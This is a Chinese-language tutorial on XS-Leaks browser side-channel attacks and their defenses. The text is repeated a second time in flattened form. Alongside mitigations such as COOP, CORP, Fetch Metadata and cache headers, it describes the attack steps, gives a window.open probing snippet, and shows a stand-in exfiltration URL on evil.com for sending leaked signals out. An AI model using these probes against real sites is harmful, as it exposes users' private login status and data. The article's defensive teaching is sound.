跨站泄露(XS-Leaks)与防护
字数 3245 2025-12-15 01:04:40

跨站泄露(XS-Leaks)与防护

跨站泄露(Cross-Site Leaks, XS-Leaks)是一类基于Web平台侧信道(Side-Channel)的漏洞。它利用了Web的核心安全特性(如同源策略SOP)在实施过程中的细微差异、浏览器的内部行为或Web API的特性,来间接推断出跨源(Cross-Site)的、本应受到保护的敏感信息。与直接读取数据的XSS或CSRF不同,XS-Leaks通过观察“是否存在”或“特定资源的状态”来推断信息。

核心概念与原理
同源策略(SOP)是Web安全的基石,它阻止了一个源的文档或脚本访问另一个源的资源。然而,浏览器在判断是否允许“访问”时存在一些例外(如加载图片、发送某些请求),并且这些行为的结果(成功/失败、速度快慢)可以被攻击者通过JavaScript探测到。XS-Leaks就是利用这些可被探测到的差异来获取信息。

攻击步骤的详细拆解

步骤1:识别目标与可探测的侧信道
攻击者首先需要明确想窃取什么信息。常见目标包括:

  1. 用户身份:判断用户是否在某个网站(如社交媒体、邮箱)登录。
  2. 个人数据:推断用户的特定属性,如好友列表、搜索历史、账户余额范围。
  3. 资源存在性:探测某个特定资源(如文件、ID)是否存在。
    攻击者然后需要找到一个“探测机制”,这个机制的行为会根据目标信息的状态(如有/无、是/否)而不同。常见的侧信道包括:
  • 错误类型与状态码:跨域请求可能因SOP、CORS或权限问题失败,但错误类型不同。
  • 请求耗时(Timing):访问一个资源(存在/不存在,有权限/无权限)的响应时间可能有差异。
  • 缓存状态:浏览器会缓存访问过的资源。攻击者可以探测某个URL是否已被缓存(通过测量加载时间)。
  • 资源类型:尝试以不同方式(如<img>, <script>, fetch)加载资源,根据浏览器如何处理失败(如触发onerror事件)来推断。
  • API限额与配额:如window.open行为、localStorage写入错误、WebSocket连接数限制等。

步骤2:构造恶意探测页面
攻击者在自己控制的域名下(evil.com)创建一个网页。这个网页包含精心构造的JavaScript代码,用于“探测”目标网站(target.com)上的某个状态。
一个经典的例子是利用缓存状态推断用户登录状态

  1. 假设target.com对已登录用户会返回一个独特的用户头像,URL为https://target.com/api/avatar,并且该响应被浏览器缓存。
  2. 对未登录用户,该请求会被重定向到登录页https://target.com/login,这个响应也被缓存。
  3. 攻击者在evil.com的页面中,可以通过JavaScript(如使用performance.now())精确测量加载一个<img src="https://target.com/api/avatar">所需的时间。
  4. 推理过程
    • 如果用户已经登录target.com,那么头像图片已经在浏览器缓存中,从evil.com加载它会极快(从缓存读取)。
    • 如果用户未登录,那么重定向的登录页响应在缓存中,加载它也会很快,但可能略有延迟或逻辑不同(例如,登录页可能更大,或触发不同的缓存头)。
    • 更精巧的攻击会先“预热”或“污染”缓存,然后测量二次加载时间差,以放大差异。

步骤3:引导受害者访问
攻击者需要让受害者(已经登录target.com的用户)访问恶意页面(evil.com)。常用方式包括:

  • 发送钓鱼邮件链接。
  • 在论坛、评论区嵌入恶意链接。
  • 购买广告位,投放恶意广告。
    攻击者的JavaScript代码在受害者浏览器中执行,并开始进行静默的探测。

步骤4:执行探测并收集信号
探测代码会按照预设的逻辑执行。例如,尝试用fetch请求target.com上的一个私有API端点,并监听Promise的解决(resolve)或拒绝(reject)状态。根据错误类型(如TypeError, NetworkError)或响应时间,可以推断出一些信息。
另一个例子是利用window.open的行为

// 尝试打开一个目标网站的可能存在的私密页面
const w = window.open(https://target.com/inbox/12345’);
setTimeout(() => {
    if (w.closed || w.origin === null) {
        // 页面可能被立即关闭或重定向到错误页,说明该私密ID不存在或无权限
        console.log(推测该消息不存在或用户无权访问);
    } else {
        // 页面成功打开(至少加载了框架),说明可能存在
        console.log(推测该消息可能存在);
        w.close();
    }
}, 2000);

步骤5:信息推断与渗漏
攻击者将收集到的“信号”(加载时间、错误类型、窗口状态等)通过某种方式发送回自己的服务器。通常,可以通过向evil.com发送一个携带信号参数的Web请求来实现(例如,https://evil.com/collect?leak=avatar_cached)。
通过分析大量此类信号(可能对多个用户、多个资源ID进行探测),攻击者可以构建出关于受害者或目标系统的画像。

防护与缓解措施

  1. 设置一致的跨域策略

    • CORS:明确配置Access-Control-Allow-Origin,避免使用通配符*(特别是携带凭据时)。对于敏感操作,使用Access-Control-Allow-Credentials: true并指定具体源。
    • Cross-Origin-Opener-Policy (COOP):设置COOP: same-originCOOP: restrict-properties,可以隔离弹出窗口的浏览上下文,防止通过window.open进行探测。
    • Cross-Origin-Embedder-Policy (COEP):设置COEP: require-corp,强制要求所有跨域资源都必须明确提供CORS或CORP头才能被加载,增加了探测难度。
    • Cross-Origin-Resource-Policy (CORP):设置CORP: same-originCORP: cross-origin,指示浏览器阻止来自其他域的特定类型的请求(如<script>, <img>)。
  2. 禁用不必要的 HTTP 方法:对于不需要的HTTP方法(如PUT, DELETE, CONNECT等),在服务器端明确禁用或返回一致的状态码,不给攻击者提供差异化的错误信息。

  3. 统一错误响应:对于所有因权限或资源不存在导致的错误,返回完全相同的HTTP状态码(如403或404)和响应体大小、时间。避免通过不同的错误信息或重定向行为泄露信息。

  4. 使用缓存控制头:对包含用户状态或敏感信息的响应,使用Cache-Control: private, no-cache, no-storeCache-Control: no-store,防止响应被缓存在浏览器中,从而阻断基于缓存状态的探测。

  5. 使用SameSite Cookie属性:将Cookie设置为SameSite=LaxSameSite=Strict,这可以限制Cookie在跨站请求中的发送,使得许多依赖于携带用户会话进行探测的攻击失效。

  6. 采用Fetch Metadata:服务器端可以检查Sec-Fetch-SiteSec-Fetch-Mode等请求头,这些头由浏览器自动添加,表明请求的来源和模式。例如,如果Sec-Fetch-Site: cross-site且请求是针对敏感API的,服务器可以选择拒绝该请求。

  7. 用户教育与客户端防御:使用内容安全策略(CSP)限制不必要的脚本执行,使用浏览器扩展(如隐私保护插件)来阻止第三方跟踪和脚本。

总结:XS-Leaks是一种精巧的、间接的信息窃取攻击。防护的核心思路是消除或最小化跨域请求中可被观测到的差异性,并利用现代浏览器提供的一系列安全HTTP头(COOP, COEP, CORP, Fetch Metadata)来加固应用的隔离边界。在设计和开发Web应用时,应将跨域资源访问的策略作为安全设计的重要部分。

跨站泄露(XS-Leaks)与防护 跨站泄露(Cross-Site Leaks, XS-Leaks)是一类基于Web平台侧信道(Side-Channel)的漏洞。它利用了Web的核心安全特性(如同源策略SOP)在实施过程中的细微差异、浏览器的内部行为或Web API的特性,来间接推断出跨源(Cross-Site)的、本应受到保护的敏感信息。与直接读取数据的XSS或CSRF不同,XS-Leaks通过观察“是否存在”或“特定资源的状态”来推断信息。 核心概念与原理 同源策略(SOP)是Web安全的基石,它阻止了一个源的文档或脚本访问另一个源的资源。然而,浏览器在判断是否允许“访问”时存在一些例外(如加载图片、发送某些请求),并且这些行为的结果(成功/失败、速度快慢)可以被攻击者通过JavaScript探测到。XS-Leaks就是利用这些可被探测到的差异来获取信息。 攻击步骤的详细拆解 步骤1:识别目标与可探测的侧信道 攻击者首先需要明确想窃取什么信息。常见目标包括: 用户身份 :判断用户是否在某个网站(如社交媒体、邮箱)登录。 个人数据 :推断用户的特定属性,如好友列表、搜索历史、账户余额范围。 资源存在性 :探测某个特定资源(如文件、ID)是否存在。 攻击者然后需要找到一个“探测机制”,这个机制的行为会根据目标信息的状态(如有/无、是/否)而不同。常见的侧信道包括: 错误类型与状态码 :跨域请求可能因SOP、CORS或权限问题失败,但错误类型不同。 请求耗时(Timing) :访问一个资源(存在/不存在,有权限/无权限)的响应时间可能有差异。 缓存状态 :浏览器会缓存访问过的资源。攻击者可以探测某个URL是否已被缓存(通过测量加载时间)。 资源类型 :尝试以不同方式(如 <img> , <script> , fetch )加载资源,根据浏览器如何处理失败(如触发 onerror 事件)来推断。 API限额与配额 :如 window.open 行为、 localStorage 写入错误、WebSocket连接数限制等。 步骤2:构造恶意探测页面 攻击者在自己控制的域名下( evil.com )创建一个网页。这个网页包含精心构造的JavaScript代码,用于“探测”目标网站( target.com )上的某个状态。 一个经典的例子是 利用缓存状态推断用户登录状态 : 假设 target.com 对已登录用户会返回一个独特的用户头像,URL为 https://target.com/api/avatar ,并且该响应被浏览器缓存。 对未登录用户,该请求会被重定向到登录页 https://target.com/login ,这个响应也被缓存。 攻击者在 evil.com 的页面中,可以通过JavaScript(如使用 performance.now() )精确测量加载一个 <img src="https://target.com/api/avatar"> 所需的时间。 推理过程 : 如果用户 已经登录 target.com ,那么头像图片已经在浏览器缓存中,从 evil.com 加载它会 极快 (从缓存读取)。 如果用户 未登录 ,那么重定向的登录页响应在缓存中,加载它也会很快,但可能略有延迟或逻辑不同(例如,登录页可能更大,或触发不同的缓存头)。 更精巧的攻击会先“预热”或“污染”缓存,然后测量二次加载时间差,以放大差异。 步骤3:引导受害者访问 攻击者需要让受害者(已经登录 target.com 的用户)访问恶意页面( evil.com )。常用方式包括: 发送钓鱼邮件链接。 在论坛、评论区嵌入恶意链接。 购买广告位,投放恶意广告。 攻击者的JavaScript代码在受害者浏览器中执行,并开始进行静默的探测。 步骤4:执行探测并收集信号 探测代码会按照预设的逻辑执行。例如,尝试用 fetch 请求 target.com 上的一个私有API端点,并监听Promise的解决(resolve)或拒绝(reject)状态。根据错误类型(如TypeError, NetworkError)或响应时间,可以推断出一些信息。 另一个例子是 利用 window.open 的行为 : 步骤5:信息推断与渗漏 攻击者将收集到的“信号”(加载时间、错误类型、窗口状态等)通过某种方式发送回自己的服务器。通常,可以通过向 evil.com 发送一个携带信号参数的Web请求来实现(例如, https://evil.com/collect?leak=avatar_cached )。 通过分析大量此类信号(可能对多个用户、多个资源ID进行探测),攻击者可以构建出关于受害者或目标系统的画像。 防护与缓解措施 设置一致的跨域策略 : CORS :明确配置 Access-Control-Allow-Origin ,避免使用通配符 * (特别是携带凭据时)。对于敏感操作,使用 Access-Control-Allow-Credentials: true 并指定具体源。 Cross-Origin-Opener-Policy (COOP) :设置 COOP: same-origin 或 COOP: restrict-properties ,可以隔离弹出窗口的浏览上下文,防止通过 window.open 进行探测。 Cross-Origin-Embedder-Policy (COEP) :设置 COEP: require-corp ,强制要求所有跨域资源都必须明确提供CORS或CORP头才能被加载,增加了探测难度。 Cross-Origin-Resource-Policy (CORP) :设置 CORP: same-origin 或 CORP: cross-origin ,指示浏览器阻止来自其他域的特定类型的请求(如 <script> , <img> )。 禁用不必要的 HTTP 方法 :对于不需要的HTTP方法(如PUT, DELETE, CONNECT等),在服务器端明确禁用或返回一致的状态码,不给攻击者提供差异化的错误信息。 统一错误响应 :对于所有因权限或资源不存在导致的错误,返回 完全相同的HTTP状态码(如403或404)和响应体大小、时间 。避免通过不同的错误信息或重定向行为泄露信息。 使用缓存控制头 :对包含用户状态或敏感信息的响应,使用 Cache-Control: private, no-cache, no-store 或 Cache-Control: no-store ,防止响应被缓存在浏览器中,从而阻断基于缓存状态的探测。 使用 SameSite Cookie属性 :将Cookie设置为 SameSite=Lax 或 SameSite=Strict ,这可以限制Cookie在跨站请求中的发送,使得许多依赖于携带用户会话进行探测的攻击失效。 采用 Fetch Metadata :服务器端可以检查 Sec-Fetch-Site 和 Sec-Fetch-Mode 等请求头,这些头由浏览器自动添加,表明请求的来源和模式。例如,如果 Sec-Fetch-Site: cross-site 且请求是针对敏感API的,服务器可以选择拒绝该请求。 用户教育与客户端防御 :使用内容安全策略(CSP)限制不必要的脚本执行,使用浏览器扩展(如隐私保护插件)来阻止第三方跟踪和脚本。 总结 :XS-Leaks是一种精巧的、间接的信息窃取攻击。防护的核心思路是 消除或最小化跨域请求中可被观测到的差异性 ,并利用现代浏览器提供的一系列安全HTTP头(COOP, COEP, CORP, Fetch Metadata)来加固应用的隔离边界。在设计和开发Web应用时,应将跨域资源访问的策略作为安全设计的重要部分。